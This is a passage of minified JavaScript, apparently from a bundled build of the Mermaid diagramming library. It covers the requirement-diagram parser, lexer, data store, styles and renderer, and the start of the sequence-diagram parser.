68:this.$=le[ve-1]+le[ve];break}},"anonymous"),table:[{3:1,4:2,6:e,9:r,11:n,13:i},{1:[3]},{3:8,4:2,5:[1,7],6:e,9:r,11:n,13:i},{5:[1,9]},{10:[1,10]},{12:[1,11]},t(a,[2,6]),{3:12,4:2,6:e,9:r,11:n,13:i},{1:[2,2]},{4:17,5:s,7:13,8:l,9:r,11:n,13:i,14:14,15:15,16:16,17:18,18:19,19:20,20:21,21:u,22:h,23:f,24:d,25:23,33:25,41:p,42:m,43:g,44:y,45:v,46:x,54:b,72:T,74:S,77:w,89:k,90:A},t(a,[2,4]),t(a,[2,5]),{1:[2,1]},{8:[1,41]},{4:17,5:s,7:42,8:l,9:r,11:n,13:i,14:14,15:15,16:16,17:18,18:19,19:20,20:21,21:u,22:h,23:f,24:d,25:23,33:25,41:p,42:m,43:g,44:y,45:v,46:x,54:b,72:T,74:S,77:w,89:k,90:A},{4:17,5:s,7:43,8:l,9:r,11:n,13:i,14:14,15:15,16:16,17:18,18:19,19:20,20:21,21:u,22:h,23:f,24:d,25:23,33:25,41:p,42:m,43:g,44:y,45:v,46:x,54:b,72:T,74:S,77:w,89:k,90:A},{4:17,5:s,7:44,8:l,9:r,11:n,13:i,14:14,15:15,16:16,17:18,18:19,19:20,20:21,21:u,22:h,23:f,24:d,25:23,33:25,41:p,42:m,43:g,44:y,45:v,46:x,54:b,72:T,74:S,77:w,89:k,90:A},{4:17,5:s,7:45,8:l,9:r,11:n,13:i,14:14,15:15,16:16,17:18,18:19,19:20,20:21,21:u,22:h,23:f,24:d,25:23,33:25,41:p,42:m,43:g,44:y,45:v,46:x,54:b,72:T,74:S,77:w,89:k,90:A},{4:17,5:s,7:46,8:l,9:r,11:n,13:i,14:14,15:15,16:16,17:18,18:19,19:20,20:21,21:u,22:h,23:f,24:d,25:23,33:25,41:p,42:m,43:g,44:y,45:v,46:x,54:b,72:T,74:S,77:w,89:k,90:A},{4:17,5:s,7:47,8:l,9:r,11:n,13:i,14:14,15:15,16:16,17:18,18:19,19:20,20:21,21:u,22:h,23:f,24:d,25:23,33:25,41:p,42:m,43:g,44:y,45:v,46:x,54:b,72:T,74:S,77:w,89:k,90:A},{4:17,5:s,7:48,8:l,9:r,11:n,13:i,14:14,15:15,16:16,17:18,18:19,19:20,20:21,21:u,22:h,23:f,24:d,25:23,33:25,41:p,42:m,43:g,44:y,45:v,46:x,54:b,72:T,74:S,77:w,89:k,90:A},{4:17,5:s,7:49,8:l,9:r,11:n,13:i,14:14,15:15,16:16,17:18,18:19,19:20,20:21,21:u,22:h,23:f,24:d,25:23,33:25,41:p,42:m,43:g,44:y,45:v,46:x,54:b,72:T,74:S,77:w,89:k,90:A},{4:17,5:s,7:50,8:l,9:r,11:n,13:i,14:14,15:15,16:16,17:18,18:19,19:20,20:21,21:u,22:h,23:f,24:d,25:23,33:25,41:p,42:m,43:g,44:y,45:v,46:x,54:b,72:T,74:S,77:w,89:k,90:A},{26:51,89:[1,52],90:[1,53]},{55:54,89:[1,55],90:[1,56]},{29:[1,59],61:[1,57],63:[1,58]},t(C,[2,17]),t(C,[2,18]),t(C,[2,19]),t(C,[2,20]),{30:60,33:62,75:R,89:k,90:A},{30:63,33:62,75:R,89:k,90:A},{30:64,33:62,75:R,89:k,90:A},t(I,[2,29]),t(I,[2,30]),t(I,[2,31]),t(I,[2,32]),t(I,[2,33]),t(I,[2,34]),t(L,[2,81]),t(L,[2,82]),{1:[2,3]},{8:[2,8]},{8:[2,9]},{8:[2,10]},{8:[2,11]},{8:[2,12]},{8:[2,13]},{8:[2,14]},{8:[2,15]},{8:[2,16]},{27:[1,65],29:[1,66]},t(E,[2,79]),t(E,[2,80]),{27:[1,67],29:[1,68]},t(E,[2,85]),t(E,[2,86]),{62:69,65:D,66:_,67:O,68:M,69:P,70:B,71:F},{62:77,65:D,66:_,67:O,68:M,69:P,70:B,71:F},{30:78,33:62,75:R,89:k,90:A},{73:79,75:G,76:$,78:81,79:82,80:U,81:j,82:te,83:Y,84:oe,85:J,86:ue,87:re,88:ee},t(Z,[2,60]),t(Z,[2,62]),{73:93,75:G,76:$,78:81,79:82,80:U,81:j,82:te,83:Y,84:oe,85:J,86:ue,87:re,88:ee},{30:94,33:62,75:R,76:$,89:k,90:A},{5:[1,95]},{30:96,33:62,75:R,89:k,90:A},{5:[1,97]},{30:98,33:62,75:R,89:k,90:A},{63:[1,99]},t(K,[2,50]),t(K,[2,51]),t(K,[2,52]),t(K,[2,53]),t(K,[2,54]),t(K,[2,55]),t(K,[2,56]),{64:[1,100]},t(C,[2,59],{76:$}),t(C,[2,64],{76:ae}),{33:103,75:[1,102],89:k,90:A},t(Q,[2,65],{79:104,75:G,80:U,81:j,82:te,83:Y,84:oe,85:J,86:ue,87:re,88:ee}),t(de,[2,67]),t(de,[2,69]),t(de,[2,70]),t(de,[2,71]),t(de,[2,72]),t(de,[2,73]),t(de,[2,74]),t(de,[2,75]),t(de,[2,76]),t(de,[2,77]),t(de,[2,78]),t(C,[2,57],{76:ae}),t(C,[2,58],{76:$}),{5:ne,28:105,31:Te,34:q,36:Ve,38:pe,40:Be},{27:[1,112],76:$},{5:Ye,40:He,56:113,57:Le,59:Ie},{27:[1,118],76:$},{33:119,89:k,90:A},{33:120,89:k,90:A},{75:G,78:121,79:82,80:U,81:j,82:te,83:Y,84:oe,85:J,86:ue,87:re,88:ee},t(Z,[2,61]),t(Z,[2,63]),t(de,[2,68]),t(C,[2,21]),{32:[1,122]},{32:[1,123]},{32:[1,124]},{32:[1,125]},{5:ne,28:126,31:Te,34:q,36:Ve,38:pe,40:Be},t(C,[2,28]),{5:[1,127]},t(C,[2,42]),{32:[1,128]},{32:[1,129]},{5:Ye,40:He,56:130,57:Le,59:Ie},t(C,[2,47]),{5:[1,131]},t(C,[2,48]),t(C,[2,49]),t(Q,[2,66],{79:104,75:G,80:U,81:j,82:te,83:Y,84:oe,85:J,86:ue,87:re,88:ee}),{33:132,89:k,90:A},{35:133,89:[1,134],90:[1,135]},{37:136,47:[1,137],48:[1,138],49:[1,139]},{39:140,50:[1,141],51:[1,142],52:[1,143],53:[1,144]},t(C,[2,27]),{5:ne,28:145,31:Te,34:q,36:Ve,38:pe,40:Be},{58:146,89:[1,147],90:[1,148]},{60:149,89:[1,150],90:[1,151]},t(C,[2,46]),{5:Ye,40:He,56:152,57:Le,59:Ie},{5:[1,153]},{5:[1,154]},{5:[2,83]},{5:[2,84]},{5:[1,155]},{5:[2,35]},{5:[2,36]},{5:[2,37]},{5:[1,156]},{5:[2,38]},{5:[2,39]},{5:[2,40]},{5:[2,41]},t(C,[2,22]),{5:[1,157]},{5:[2,87]},{5:[2,88]},{5:[1,158]},{5:[2,89]},{5:[2,90]},t(C,[2,43]),{5:ne,28:159,31:Te,34:q,36:Ve,38:pe,40:Be},{5:ne,28:160,31:Te,34:q,36:Ve,38:pe,40:Be},{5:ne,28:161,31:Te,34:q,36:Ve,38:pe,40:Be},{5:ne,28:162,31:Te,34:q,36:Ve,38:pe,40:Be},{5:Ye,40:He,56:163,57:Le,59:Ie},{5:Ye,40:He,56:164,57:Le,59:Ie},t(C,[2,23]),t(C,[2,24]),t(C,[2,25]),t(C,[2,26]),t(C,[2,44]),t(C,[2,45])],defaultActions:{8:[2,2],12:[2,1],41:[2,3],42:[2,8],43:[2,9],44:[2,10],45:[2,11],46:[2,12],47:[2,13],48:[2,14],49:[2,15],50:[2,16],134:[2,83],135:[2,84],137:[2,35],138:[2,36],139:[2,37],141:[2,38],142:[2,39],143:[2,40],144:[2,41],147:[2,87],148:[2,88],150:[2,89],151:[2,90]},parseError:o(function(xe,W){if(W.recoverable)this.trace(xe);else{var he=new Error(xe);throw he.hash=W,he}},"parseError"),parse:o(function(xe){var W=this,he=[0],z=[],se=[null],le=[],ke=this.table,ve="",ye=0,Re=0,_e=0,ze=2,Ke=1,xt=le.slice.call(arguments,1),We=Object.create(this.lexer),Oe={yy:{}};for(var et in this.yy)Object.prototype.hasOwnProperty.call(this.yy,et)&&(Oe.yy[et]=this.yy[et]);We.setInput(xe,Oe.yy),Oe.yy.lexer=We,Oe.yy.parser=this,typeof We.yylloc>"u"&&(We.yylloc={});var Ue=We.yylloc;le.push(Ue);var lt=We.options&&We.options.ranges;typeof Oe.yy.parseError=="function"?this.parseError=Oe.yy.parseError:this.parseError=Object.getPrototypeOf(this).parseError;function Gt(ar){he.length=he.length-2*ar,se.length=se.length-ar,le.length=le.length-ar}o(Gt,"popStack");function vt(){var ar;return ar=z.pop()||We.lex()||Ke,typeof ar!="number"&&(ar instanceof Array&&(z=ar,ar=z.pop()),ar=W.symbols_[ar]||ar),ar}o(vt,"lex");for(var Lt,dt,nt,bt,wt,yt,ft={},Ur,_t,bn,Br;;){if(nt=he[he.length-1],this.defaultActions[nt]?bt=this.defaultActions[nt]:((Lt===null||typeof Lt>"u")&&(Lt=vt()),bt=ke[nt]&&ke[nt][Lt]),typeof bt>"u"||!bt.length||!bt[0]){var cr="";Br=[];for(Ur in ke[nt])this.terminals_[Ur]&&Ur>ze&&Br.push("'"+this.terminals_[Ur]+"'");We.showPosition?cr="Parse error on line "+(ye+1)+`: +`+We.showPosition()+` +Expecting `+Br.join(", ")+", got '"+(this.terminals_[Lt]||Lt)+"'":cr="Parse error on line "+(ye+1)+": Unexpected "+(Lt==Ke?"end of input":"'"+(this.terminals_[Lt]||Lt)+"'"),this.parseError(cr,{text:We.match,token:this.terminals_[Lt]||Lt,line:We.yylineno,loc:Ue,expected:Br})}if(bt[0]instanceof Array&&bt.length>1)throw new Error("Parse Error: multiple actions possible at state: "+nt+", token: "+Lt);switch(bt[0]){case 1:he.push(Lt),se.push(We.yytext),le.push(We.yylloc),he.push(bt[1]),Lt=null,dt?(Lt=dt,dt=null):(Re=We.yyleng,ve=We.yytext,ye=We.yylineno,Ue=We.yylloc,_e>0&&_e--);break;case 2:if(_t=this.productions_[bt[1]][1],ft.$=se[se.length-_t],ft._$={first_line:le[le.length-(_t||1)].first_line,last_line:le[le.length-1].last_line,first_column:le[le.length-(_t||1)].first_column,last_column:le[le.length-1].last_column},lt&&(ft._$.range=[le[le.length-(_t||1)].range[0],le[le.length-1].range[1]]),yt=this.performAction.apply(ft,[ve,Re,ye,Oe.yy,bt[1],se,le].concat(xt)),typeof yt<"u")return yt;_t&&(he=he.slice(0,-1*_t*2),se=se.slice(0,-1*_t),le=le.slice(0,-1*_t)),he.push(this.productions_[bt[1]][0]),se.push(ft.$),le.push(ft._$),bn=ke[he[he.length-2]][he[he.length-1]],he.push(bn);break;case 3:return!0}}return!0},"parse")},Ce=(function(){var fe={EOF:1,parseError:o(function(W,he){if(this.yy.parser)this.yy.parser.parseError(W,he);else throw new Error(W)},"parseError"),setInput:o(function(xe,W){return this.yy=W||this.yy||{},this._input=xe,this._more=this._backtrack=this.done=!1,this.yylineno=this.yyleng=0,this.yytext=this.matched=this.match="",this.conditionStack=["INITIAL"],this.yylloc={first_line:1,first_column:0,last_line:1,last_column:0},this.options.ranges&&(this.yylloc.range=[0,0]),this.offset=0,this},"setInput"),input:o(function(){var xe=this._input[0];this.yytext+=xe,this.yyleng++,this.offset++,this.match+=xe,this.matched+=xe;var W=xe.match(/(?:\r\n?|\n).*/g);return W?(this.yylineno++,this.yylloc.last_line++):this.yylloc.last_column++,this.options.ranges&&this.yylloc.range[1]++,this._input=this._input.slice(1),xe},"input"),unput:o(function(xe){var W=xe.length,he=xe.split(/(?:\r\n?|\n)/g);this._input=xe+this._input,this.yytext=this.yytext.substr(0,this.yytext.length-W),this.offset-=W;var z=this.match.split(/(?:\r\n?|\n)/g);this.match=this.match.substr(0,this.match.length-1),this.matched=this.matched.substr(0,this.matched.length-1),he.length-1&&(this.yylineno-=he.length-1);var se=this.yylloc.range;return this.yylloc={first_line:this.yylloc.first_line,last_line:this.yylineno+1,first_column:this.yylloc.first_column,last_column:he?(he.length===z.length?this.yylloc.first_column:0)+z[z.length-he.length].length-he[0].length:this.yylloc.first_column-W},this.options.ranges&&(this.yylloc.range=[se[0],se[0]+this.yyleng-W]),this.yyleng=this.yytext.length,this},"unput"),more:o(function(){return this._more=!0,this},"more"),reject:o(function(){if(this.options.backtrack_lexer)this._backtrack=!0;else return this.parseError("Lexical error on line "+(this.yylineno+1)+`. You can only invoke reject() in the lexer when the lexer is of the backtracking persuasion (options.backtrack_lexer = true). +`+this.showPosition(),{text:"",token:null,line:this.yylineno});return this},"reject"),less:o(function(xe){this.unput(this.match.slice(xe))},"less"),pastInput:o(function(){var xe=this.matched.substr(0,this.matched.length-this.match.length);return(xe.length>20?"...":"")+xe.substr(-20).replace(/\n/g,"")},"pastInput"),upcomingInput:o(function(){var xe=this.match;return xe.length<20&&(xe+=this._input.substr(0,20-xe.length)),(xe.substr(0,20)+(xe.length>20?"...":"")).replace(/\n/g,"")},"upcomingInput"),showPosition:o(function(){var xe=this.pastInput(),W=new Array(xe.length+1).join("-");return xe+this.upcomingInput()+` +`+W+"^"},"showPosition"),test_match:o(function(xe,W){var he,z,se;if(this.options.backtrack_lexer&&(se={yylineno:this.yylineno,yylloc:{first_line:this.yylloc.first_line,last_line:this.last_line,first_column:this.yylloc.first_column,last_column:this.yylloc.last_column},yytext:this.yytext,match:this.match,matches:this.matches,matched:this.matched,yyleng:this.yyleng,offset:this.offset,_more:this._more,_input:this._input,yy:this.yy,conditionStack:this.conditionStack.slice(0),done:this.done},this.options.ranges&&(se.yylloc.range=this.yylloc.range.slice(0))),z=xe[0].match(/(?:\r\n?|\n).*/g),z&&(this.yylineno+=z.length),this.yylloc={first_line:this.yylloc.last_line,last_line:this.yylineno+1,first_column:this.yylloc.last_column,last_column:z?z[z.length-1].length-z[z.length-1].match(/\r?\n?/)[0].length:this.yylloc.last_column+xe[0].length},this.yytext+=xe[0],this.match+=xe[0],this.matches=xe,this.yyleng=this.yytext.length,this.options.ranges&&(this.yylloc.range=[this.offset,this.offset+=this.yyleng]),this._more=!1,this._backtrack=!1,this._input=this._input.slice(xe[0].length),this.matched+=xe[0],he=this.performAction.call(this,this.yy,this,W,this.conditionStack[this.conditionStack.length-1]),this.done&&this._input&&(this.done=!1),he)return he;if(this._backtrack){for(var le in se)this[le]=se[le];return!1}return!1},"test_match"),next:o(function(){if(this.done)return this.EOF;this._input||(this.done=!0);var xe,W,he,z;this._more||(this.yytext="",this.match="");for(var se=this._currentRules(),le=0;leW[0].length)){if(W=he,z=le,this.options.backtrack_lexer){if(xe=this.test_match(he,se[le]),xe!==!1)return xe;if(this._backtrack){W=!1;continue}else return!1}else if(!this.options.flex)break}return W?(xe=this.test_match(W,se[z]),xe!==!1?xe:!1):this._input===""?this.EOF:this.parseError("Lexical error on line "+(this.yylineno+1)+`. Unrecognized text. +`+this.showPosition(),{text:"",token:null,line:this.yylineno})},"next"),lex:o(function(){var W=this.next();return W||this.lex()},"lex"),begin:o(function(W){this.conditionStack.push(W)},"begin"),popState:o(function(){var W=this.conditionStack.length-1;return W>0?this.conditionStack.pop():this.conditionStack[0]},"popState"),_currentRules:o(function(){return this.conditionStack.length&&this.conditionStack[this.conditionStack.length-1]?this.conditions[this.conditionStack[this.conditionStack.length-1]].rules:this.conditions.INITIAL.rules},"_currentRules"),topState:o(function(W){return W=this.conditionStack.length-1-Math.abs(W||0),W>=0?this.conditionStack[W]:"INITIAL"},"topState"),pushState:o(function(W){this.begin(W)},"pushState"),stateStackSize:o(function(){return this.conditionStack.length},"stateStackSize"),options:{"case-insensitive":!0},performAction:o(function(W,he,z,se){var le=se;switch(z){case 0:return"title";case 1:return this.begin("acc_title"),9;break;case 2:return this.popState(),"acc_title_value";break;case 3:return this.begin("acc_descr"),11;break;case 4:return this.popState(),"acc_descr_value";break;case 5:this.begin("acc_descr_multiline");break;case 6:this.popState();break;case 7:return"acc_descr_multiline_value";case 8:return 21;case 9:return 22;case 10:return 23;case 11:return 24;case 12:return 5;case 13:break;case 14:break;case 15:break;case 16:return 8;case 17:return 6;case 18:return 27;case 19:return 40;case 20:return 29;case 21:return 32;case 22:return 31;case 23:return 34;case 24:return 36;case 25:return 38;case 26:return 41;case 27:return 42;case 28:return 43;case 29:return 44;case 30:return 45;case 31:return 46;case 32:return 47;case 33:return 48;case 34:return 49;case 35:return 50;case 36:return 51;case 37:return 52;case 38:return 53;case 39:return 54;case 40:return 65;case 41:return 66;case 42:return 67;case 43:return 68;case 44:return 69;case 45:return 70;case 46:return 71;case 47:return 57;case 48:return 59;case 49:return this.begin("style"),77;break;case 50:return 75;case 51:return 81;case 52:return 88;case 53:return"PERCENT";case 54:return 86;case 55:return 84;case 56:break;case 57:this.begin("string");break;case 58:this.popState();break;case 59:return this.begin("style"),72;break;case 60:return this.begin("style"),74;break;case 61:return 61;case 62:return 64;case 63:return 63;case 64:this.begin("string");break;case 65:this.popState();break;case 66:return"qString";case 67:return he.yytext=he.yytext.trim(),89;break;case 68:return 75;case 69:return 80;case 70:return 76}},"anonymous"),rules:[/^(?:title\s[^#\n;]+)/i,/^(?:accTitle\s*:\s*)/i,/^(?:(?!\n||)*[^\n]*)/i,/^(?:accDescr\s*:\s*)/i,/^(?:(?!\n||)*[^\n]*)/i,/^(?:accDescr\s*\{\s*)/i,/^(?:[\}])/i,/^(?:[^\}]*)/i,/^(?:.*direction\s+TB[^\n]*)/i,/^(?:.*direction\s+BT[^\n]*)/i,/^(?:.*direction\s+RL[^\n]*)/i,/^(?:.*direction\s+LR[^\n]*)/i,/^(?:(\r?\n)+)/i,/^(?:\s+)/i,/^(?:#[^\n]*)/i,/^(?:%[^\n]*)/i,/^(?:$)/i,/^(?:requirementDiagram\b)/i,/^(?:\{)/i,/^(?:\})/i,/^(?::{3})/i,/^(?::)/i,/^(?:id\b)/i,/^(?:text\b)/i,/^(?:risk\b)/i,/^(?:verifyMethod\b)/i,/^(?:requirement\b)/i,/^(?:functionalRequirement\b)/i,/^(?:interfaceRequirement\b)/i,/^(?:performanceRequirement\b)/i,/^(?:physicalRequirement\b)/i,/^(?:designConstraint\b)/i,/^(?:low\b)/i,/^(?:medium\b)/i,/^(?:high\b)/i,/^(?:analysis\b)/i,/^(?:demonstration\b)/i,/^(?:inspection\b)/i,/^(?:test\b)/i,/^(?:element\b)/i,/^(?:contains\b)/i,/^(?:copies\b)/i,/^(?:derives\b)/i,/^(?:satisfies\b)/i,/^(?:verifies\b)/i,/^(?:refines\b)/i,/^(?:traces\b)/i,/^(?:type\b)/i,/^(?:docref\b)/i,/^(?:style\b)/i,/^(?:\w+)/i,/^(?::)/i,/^(?:;)/i,/^(?:%)/i,/^(?:-)/i,/^(?:#)/i,/^(?: )/i,/^(?:["])/i,/^(?:\n)/i,/^(?:classDef\b)/i,/^(?:class\b)/i,/^(?:<-)/i,/^(?:->)/i,/^(?:-)/i,/^(?:["])/i,/^(?:["])/i,/^(?:[^"]*)/i,/^(?:[\w][^:,\r\n\{\<\>\-\=]*)/i,/^(?:\w+)/i,/^(?:[0-9]+)/i,/^(?:,)/i],conditions:{acc_descr_multiline:{rules:[6,7,68,69,70],inclusive:!1},acc_descr:{rules:[4,68,69,70],inclusive:!1},acc_title:{rules:[2,68,69,70],inclusive:!1},style:{rules:[50,51,52,53,54,55,56,57,58,68,69,70],inclusive:!1},unqString:{rules:[68,69,70],inclusive:!1},token:{rules:[68,69,70],inclusive:!1},string:{rules:[65,66,68,69,70],inclusive:!1},INITIAL:{rules:[0,1,3,5,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46,47,48,49,59,60,61,62,63,64,67,68,69,70],inclusive:!0}}};return fe})();Ne.lexer=Ce;function Fe(){this.yy={}}return o(Fe,"Parser"),Fe.prototype=Ne,Ne.Parser=Fe,new Fe})();QF.parser=QF;kye=QF});var Z6,Sye=N(()=>{"use strict";Xt();pt();ci();Z6=class{constructor(){this.relations=[];this.latestRequirement=this.getInitialRequirement();this.requirements=new Map;this.latestElement=this.getInitialElement();this.elements=new Map;this.classes=new Map;this.direction="TB";this.RequirementType={REQUIREMENT:"Requirement",FUNCTIONAL_REQUIREMENT:"Functional Requirement",INTERFACE_REQUIREMENT:"Interface Requirement",PERFORMANCE_REQUIREMENT:"Performance Requirement",PHYSICAL_REQUIREMENT:"Physical Requirement",DESIGN_CONSTRAINT:"Design Constraint"};this.RiskLevel={LOW_RISK:"Low",MED_RISK:"Medium",HIGH_RISK:"High"};this.VerifyType={VERIFY_ANALYSIS:"Analysis",VERIFY_DEMONSTRATION:"Demonstration",VERIFY_INSPECTION:"Inspection",VERIFY_TEST:"Test"};this.Relationships={CONTAINS:"contains",COPIES:"copies",DERIVES:"derives",SATISFIES:"satisfies",VERIFIES:"verifies",REFINES:"refines",TRACES:"traces"};this.setAccTitle=Rr;this.getAccTitle=Mr;this.setAccDescription=Ir;this.getAccDescription=Or;this.setDiagramTitle=$r;this.getDiagramTitle=Pr;this.getConfig=o(()=>ge().requirement,"getConfig");this.clear(),this.setDirection=this.setDirection.bind(this),this.addRequirement=this.addRequirement.bind(this),this.setNewReqId=this.setNewReqId.bind(this),this.setNewReqRisk=this.setNewReqRisk.bind(this),this.setNewReqText=this.setNewReqText.bind(this),this.setNewReqVerifyMethod=this.setNewReqVerifyMethod.bind(this),this.addElement=this.addElement.bind(this),this.setNewElementType=this.setNewElementType.bind(this),this.setNewElementDocRef=this.setNewElementDocRef.bind(this),this.addRelationship=this.addRelationship.bind(this),this.setCssStyle=this.setCssStyle.bind(this),this.setClass=this.setClass.bind(this),this.defineClass=this.defineClass.bind(this),this.setAccTitle=this.setAccTitle.bind(this),this.setAccDescription=this.setAccDescription.bind(this)}static{o(this,"RequirementDB")}getDirection(){return this.direction}setDirection(e){this.direction=e}resetLatestRequirement(){this.latestRequirement=this.getInitialRequirement()}resetLatestElement(){this.latestElement=this.getInitialElement()}getInitialRequirement(){return{requirementId:"",text:"",risk:"",verifyMethod:"",name:"",type:"",cssStyles:[],classes:["default"]}}getInitialElement(){return{name:"",type:"",docRef:"",cssStyles:[],classes:["default"]}}addRequirement(e,r){return this.requirements.has(e)||this.requirements.set(e,{name:e,type:r,requirementId:this.latestRequirement.requirementId,text:this.latestRequirement.text,risk:this.latestRequirement.risk,verifyMethod:this.latestRequirement.verifyMethod,cssStyles:[],classes:["default"]}),this.resetLatestRequirement(),this.requirements.get(e)}getRequirements(){return this.requirements}setNewReqId(e){this.latestRequirement!==void 0&&(this.latestRequirement.requirementId=e)}setNewReqText(e){this.latestRequirement!==void 0&&(this.latestRequirement.text=e)}setNewReqRisk(e){this.latestRequirement!==void 0&&(this.latestRequirement.risk=e)}setNewReqVerifyMethod(e){this.latestRequirement!==void 0&&(this.latestRequirement.verifyMethod=e)}addElement(e){return this.elements.has(e)||(this.elements.set(e,{name:e,type:this.latestElement.type,docRef:this.latestElement.docRef,cssStyles:[],classes:["default"]}),X.info("Added new element: ",e)),this.resetLatestElement(),this.elements.get(e)}getElements(){return this.elements}setNewElementType(e){this.latestElement!==void 0&&(this.latestElement.type=e)}setNewElementDocRef(e){this.latestElement!==void 0&&(this.latestElement.docRef=e)}addRelationship(e,r,n){this.relations.push({type:e,src:r,dst:n})}getRelationships(){return this.relations}clear(){this.relations=[],this.resetLatestRequirement(),this.requirements=new Map,this.resetLatestElement(),this.elements=new Map,this.classes=new Map,Sr()}setCssStyle(e,r){for(let n of e){let i=this.requirements.get(n)??this.elements.get(n);if(!r||!i)return;for(let a of r)a.includes(",")?i.cssStyles.push(...a.split(",")):i.cssStyles.push(a)}}setClass(e,r){for(let n of e){let i=this.requirements.get(n)??this.elements.get(n);if(i)for(let a of r){i.classes.push(a);let s=this.classes.get(a)?.styles;s&&i.cssStyles.push(...s)}}}defineClass(e,r){for(let n of e){let i=this.classes.get(n);i===void 0&&(i={id:n,styles:[],textStyles:[]},this.classes.set(n,i)),r&&r.forEach(function(a){if(/color/.exec(a)){let s=a.replace("fill","bgFill");i.textStyles.push(s)}i.styles.push(a)}),this.requirements.forEach(a=>{a.classes.includes(n)&&a.cssStyles.push(...r.flatMap(s=>s.split(",")))}),this.elements.forEach(a=>{a.classes.includes(n)&&a.cssStyles.push(...r.flatMap(s=>s.split(",")))})}}getClasses(){return this.classes}getData(){let e=ge(),r=[],n=[];for(let i of this.requirements.values()){let a=i;a.id=i.name,a.cssStyles=i.cssStyles,a.cssClasses=i.classes.join(" "),a.shape="requirementBox",a.look=e.look,r.push(a)}for(let i of this.elements.values()){let a=i;a.shape="requirementBox",a.look=e.look,a.id=i.name,a.cssStyles=i.cssStyles,a.cssClasses=i.classes.join(" "),r.push(a)}for(let i of this.relations){let a=0,s=i.type===this.Relationships.CONTAINS,l={id:`${i.src}-${i.dst}-${a}`,start:this.requirements.get(i.src)?.name??this.elements.get(i.src)?.name,end:this.requirements.get(i.dst)?.name??this.elements.get(i.dst)?.name,label:`<<${i.type}>>`,classes:"relationshipLine",style:["fill:none",s?"":"stroke-dasharray: 10,7"],labelpos:"c",thickness:"normal",type:"normal",pattern:s?"normal":"dashed",arrowTypeStart:s?"requirement_contains":"",arrowTypeEnd:s?"":"requirement_arrow",look:e.look};n.push(l),a++}return{nodes:r,edges:n,other:{},config:e,direction:this.getDirection()}}}});var VZe,Cye,Aye=N(()=>{"use strict";VZe=o(t=>` + + marker { + fill: ${t.relationColor}; + stroke: ${t.relationColor}; + } + + marker.cross { + stroke: ${t.lineColor}; + } + + svg { + font-family: ${t.fontFamily}; + font-size: ${t.fontSize}; + } + + .reqBox { + fill: ${t.requirementBackground}; + fill-opacity: 1.0; + stroke: ${t.requirementBorderColor}; + stroke-width: ${t.requirementBorderSize}; + } + + .reqTitle, .reqLabel{ + fill: ${t.requirementTextColor}; + } + .reqLabelBox { + fill: ${t.relationLabelBackground}; + fill-opacity: 1.0; + } + + .req-title-line { + stroke: ${t.requirementBorderColor}; + stroke-width: ${t.requirementBorderSize}; + } + .relationshipLine { + stroke: ${t.relationColor}; + stroke-width: 1; + } + .relationshipLabel { + fill: ${t.relationLabelColor}; + } + .divider { + stroke: ${t.nodeBorder}; + stroke-width: 1; + } + .label { + font-family: ${t.fontFamily}; + color: ${t.nodeTextColor||t.textColor}; + } + .label text,span { + fill: ${t.nodeTextColor||t.textColor}; + color: ${t.nodeTextColor||t.textColor}; + } + .labelBkg { + background-color: ${t.edgeLabelBackground}; + } + +`,"getStyles"),Cye=VZe});var ZF={};dr(ZF,{draw:()=>UZe});var UZe,_ye=N(()=>{"use strict";Xt();pt();ep();Nf();Mf();tr();UZe=o(async function(t,e,r,n){X.info("REF0:"),X.info("Drawing requirement diagram (unified)",e);let{securityLevel:i,state:a,layout:s}=ge(),l=n.db.getData(),u=Vo(e,i);l.type=n.type,l.layoutAlgorithm=$c(s),l.nodeSpacing=a?.nodeSpacing??50,l.rankSpacing=a?.rankSpacing??50,l.markers=["requirement_contains","requirement_arrow"],l.diagramId=e,await Qo(l,u);let h=8;qt.insertTitle(u,"requirementDiagramTitleText",a?.titleTopMargin??25,n.db.getDiagramTitle()),Ws(u,h,"requirementDiagram",a?.useMaxWidth??!0)},"draw")});var Dye={};dr(Dye,{diagram:()=>HZe});var HZe,Lye=N(()=>{"use strict";Eye();Sye();Aye();_ye();HZe={parser:kye,get db(){return new Z6},renderer:ZF,styles:Cye}});var JF,Mye,Iye=N(()=>{"use strict";JF=(function(){var t=o(function(ee,Z,K,ae){for(K=K||{},ae=ee.length;ae--;K[ee[ae]]=Z);return K},"o"),e=[1,2],r=[1,3],n=[1,4],i=[2,4],a=[1,9],s=[1,11],l=[1,13],u=[1,14],h=[1,16],f=[1,17],d=[1,18],p=[1,24],m=[1,25],g=[1,26],y=[1,27],v=[1,28],x=[1,29],b=[1,30],T=[1,31],S=[1,32],w=[1,33],k=[1,34],A=[1,35],C=[1,36],R=[1,37],I=[1,38],L=[1,39],E=[1,41],D=[1,42],_=[1,43],O=[1,44],M=[1,45],P=[1,46],B=[1,4,5,13,14,16,18,21,23,29,30,31,33,35,36,37,38,39,41,43,44,46,47,48,49,50,52,53,55,60,61,62,63,71],F=[2,71],G=[4,5,16,50,52,53],$=[4,5,13,14,16,18,21,23,29,30,31,33,35,36,37,38,39,41,43,44,46,50,52,53,55,60,61,62,63,71],U=[4,5,13,14,16,18,21,23,29,30,31,33,35,36,37,38,39,41,43,44,46,49,50,52,53,55,60,61,62,63,71],j=[4,5,13,14,16,18,21,23,29,30,31,33,35,36,37,38,39,41,43,44,46,48,50,52,53,55,60,61,62,63,71],te=[4,5,13,14,16,18,21,23,29,30,31,33,35,36,37,38,39,41,43,44,46,47,50,52,53,55,60,61,62,63,71],Y=[69,70,71],oe=[1,127],J={trace:o(function(){},"trace"),yy:{},symbols_:{error:2,start:3,SPACE:4,NEWLINE:5,SD:6,document:7,line:8,statement:9,box_section:10,box_line:11,participant_statement:12,create:13,box:14,restOfLine:15,end:16,signal:17,autonumber:18,NUM:19,off:20,activate:21,actor:22,deactivate:23,note_statement:24,links_statement:25,link_statement:26,properties_statement:27,details_statement:28,title:29,legacy_title:30,acc_title:31,acc_title_value:32,acc_descr:33,acc_descr_value:34,acc_descr_multiline_value:35,loop:36,rect:37,opt:38,alt:39,else_sections:40,par:41,par_sections:42,par_over:43,critical:44,option_sections:45,break:46,option:47,and:48,else:49,participant:50,AS:51,participant_actor:52,destroy:53,actor_with_config:54,note:55,placement:56,text2:57,over:58,actor_pair:59,links:60,link:61,properties:62,details:63,spaceList:64,",":65,left_of:66,right_of:67,signaltype:68,"+":69,"-":70,ACTOR:71,config_object:72,CONFIG_START:73,CONFIG_CONTENT:74,CONFIG_END:75,SOLID_OPEN_ARROW:76,DOTTED_OPEN_ARROW:77,SOLID_ARR